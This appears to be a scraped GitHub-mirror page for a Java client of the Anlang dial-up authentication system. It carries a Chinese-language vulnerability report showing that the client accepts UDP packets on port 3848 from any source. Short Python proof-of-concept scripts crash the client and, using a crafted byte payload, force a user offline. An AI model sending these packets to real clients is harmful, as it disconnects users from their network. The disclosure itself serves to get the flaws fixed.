ok-dok / supplicant Goto Github PK
View Code? Open in Web Editor NEW安朗(小蝴蝶)拨号认证客户端Java版
安朗(小蝴蝶)拨号认证客户端Java版
这个崩溃是由于代码里没有检验接收到的数据包的长度而导致的,下面分析原因:
udpSocket = new DatagramSocket(3848);
在initUdpSocket() 里,DatagramSocket() 只是绑定了本端口,没有针对限制数据接收来源IP 地址,于是任意IP 都可以往这里发送数据..
udpSocket.send(datagramPacket);
byte[] buffer = new byte[4096];
DatagramPacket dp = new DatagramPacket(buffer, 0, buffer.length);
**udpSocket.receive(dp);** // 注意任意IP 地址发送过来的数据这里都会被接收
int bufferSize = dp.getLength();
byte[] recvPacket = decrypt(Arrays.copyOf(buffer, bufferSize));
byte[] recvMd5 = new byte[16];
for (int j = 2; j < 18; j++) { // WARNING ! Crash ..
recvMd5[j - 2] = recvPacket[j];
recvPacket[j] = 0;
}
于是构造短数据即可引发java.lang.ArrayIndexOutOfBoundsException 异常,测试代码如下:
from socket import *
sock = socket(AF_INET,SOCK_DGRAM)
sock.sendto(b'AAAA',('127.0.0.1',3848))
城建亲测可运行
原理和之前的一样,都是因为没有验证数据来源的原因,然后根据代码里面的这段
if (checkMD5(recvMd5, getMD5Bytes(recvPacket))) {
byte status = recvPacket[20]; // WARNING ! 读取第20 字节处的数据
if(status == 1){ // 判断是否为1
this.status = Status.ONLINE;
}else{
this.status = Status.BREATHE_ERROR; //保持呼吸出错
break;
}
} else {
status = Status.BREATHE_MD5ERROR; //md5校验出错
}
然后可以构造Payload 让远程用户强制下线,测试代码如下:
from socket import *
packet = b'\x81\xe4\x81\xdeQtR\xc6~u\x05\xc0\xb0\xe7\x90\xf00I \x81\x84\xa0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x91 ++++++P\x11\x80\x00\x00\x00)\x11\x00\x00\x00\x00\xa9\x11\x00\x00\x00\x008\x11\x00\x00\x00\x00\xb8\x11\x00\x00\x00\x009\x11\x00\x00\x00\x00\xb9\x11\x00\x00\x00\x00'
sock = socket(AF_INET,SOCK_DGRAM)
sock.sendto(packet,('127.0.0.1',3848))
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.